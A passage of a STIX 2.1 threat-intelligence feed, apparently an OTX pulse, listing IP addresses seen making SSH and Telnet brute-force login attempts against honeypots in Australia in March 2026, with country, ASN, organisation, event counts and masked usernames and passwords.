      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 21491. Organisation(s): UGANDA-TELECOM Uganda Telecom. Usernames observed (masked): 3**********4, f******1, n*****w, o**o, s******t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1******8.",
      "id": "indicator--0afcdf02-fba2-4445-83d6-a02dc26fad64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.0.120.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--710f54b9-c5f6-4439-a5f7-9742751ca730",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 63989. Organisation(s): DE-CORP. Usernames observed (masked): 3**********4, f******1, n*****w, s******t, c***d. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1******8.",
      "id": "indicator--79ac566f-ed28-4941-af69-e24ac12c73d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.254.142.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--539eda27-c54c-42cb-86dd-1c4ce3ef1e08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--99cc663e-1d02-4987-89b1-db98b61e0a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--be5025bf-65fd-4948-9063-ec4d649aede9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f7f9e4cc-362f-4559-8551-9a61d898a93d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--e5ca579a-a863-41f2-902c-2a6d0af5bf25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 198374. Organisation(s): GESANET Sp z.o.o.",
      "id": "indicator--a66ad269-0518-4fd1-9cec-8e9310430cb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.233.250.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v. Passwords observed (masked): 1****6, 1******8, s**v, s*****3.",
      "id": "indicator--661ebd1e-4093-4b79-b2f8-04ddf6938d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.131.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): f********r, s****a. Passwords observed (masked): f********r, s****a.",
      "id": "indicator--77ee1ec5-ace4-4a64-b905-0e82bbbc5806",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.101.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****6, 1******8, a***n, p******d, 0****0.",
      "id": "indicator--8f30459c-e3d0-4489-9389-c2231fc19b7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.24.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--da72e54c-6335-4746-a411-397a96dd2363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.223.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18144. Organisation(s): Enecom,Inc..",
      "id": "indicator--569e8a90-7e3d-40ba-bb99-47dc8b746ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.168.126.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n**e, ***, s****a, u****u, v*******r. Passwords observed (masked): n**e, ***, s****a, u****u, v*******r.",
      "id": "indicator--00bed882-9b9b-4a2c-8178-15f5a4e5adf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.165.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--aac8cc82-3329-48d9-bb3e-80f2e61bdd87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--4bc15ac0-c2d1-4c3f-a29d-4bf679e521da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.254.129.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T07:15:14.000Z",
      "valid_until": "2026-04-12T07:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, s**v, f********r, n**e, ***. Passwords observed (masked): ***, 1******8, 1**4, 1****6, f********r.",
      "id": "indicator--c494fb66-526c-41cd-84ef-7241a833d292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.209.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 114. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1*******9, P******d, a***n.",
      "id": "indicator--a524426f-5ce9-4525-a30c-9febc73d6b96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.159.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a2c94da0-df9d-48c7-ac3e-ad1d081e5e62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.146.252.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262463. Organisation(s): TELECOM CORDEIROPOLIS LTDA - ME.",
      "id": "indicator--3affe713-53f4-4c6a-9c2d-a7874598da8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.249.31.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--021c5657-7bf9-436e-836d-298e4471e783",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.219.2.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): c****e, 3**********4, a*****r, ***, e*****t. Passwords observed (masked): 1****6, p******d, 1**4, 1******8, 3***********4.",
      "id": "indicator--65cbaa64-ca14-4464-b243-aede2b1e7b97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--4096b69e-be00-42c0-837c-a1b62ae46bfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.249.155.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T08:15:13.000Z",
      "valid_until": "2026-04-12T08:15:12.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--1848899a-5b7e-4ba0-93c8-89e7799277a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.199.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--8495cec0-e468-4314-a82a-1f897e46a67d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.244.226.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--bcd5778c-5f69-4d46-ae7e-eec595d8365e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.81.14.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--fc21b6e8-93a1-4e38-a8f9-8b14d51fec1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.68.120.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f6b28a5a-4a5b-4d18-8ec4-13d7d8049d3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): 3**********4, c*****o, c****b, a****o, b*****r. Passwords observed (masked): 3***********4, 3**********4, p******d, 1**4, 1****6.",
      "id": "indicator--e1e12f08-4289-4b3d-8a05-4a89436319a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.164.150.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T09:15:15.000Z",
      "valid_until": "2026-04-12T09:15:13.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--bec1b2af-fa40-45fa-986f-01aec8c33f0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.163.250.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, i****a, j**n, n*********e. Passwords observed (masked): 1****6, 1***5, 3***********4, 3**********4, i*******3.",
      "id": "indicator--9f4c5a99-5e65-4ccb-b67f-8e9cdf3cd248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.172.214.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 57378. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--7725220c-6715-46d5-906e-081fff6c3f30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.213.141.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ae4f8c94-c686-49b2-a89e-b90e68936b8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.240.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--5607362d-1a85-4dde-a180-9407fa276198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
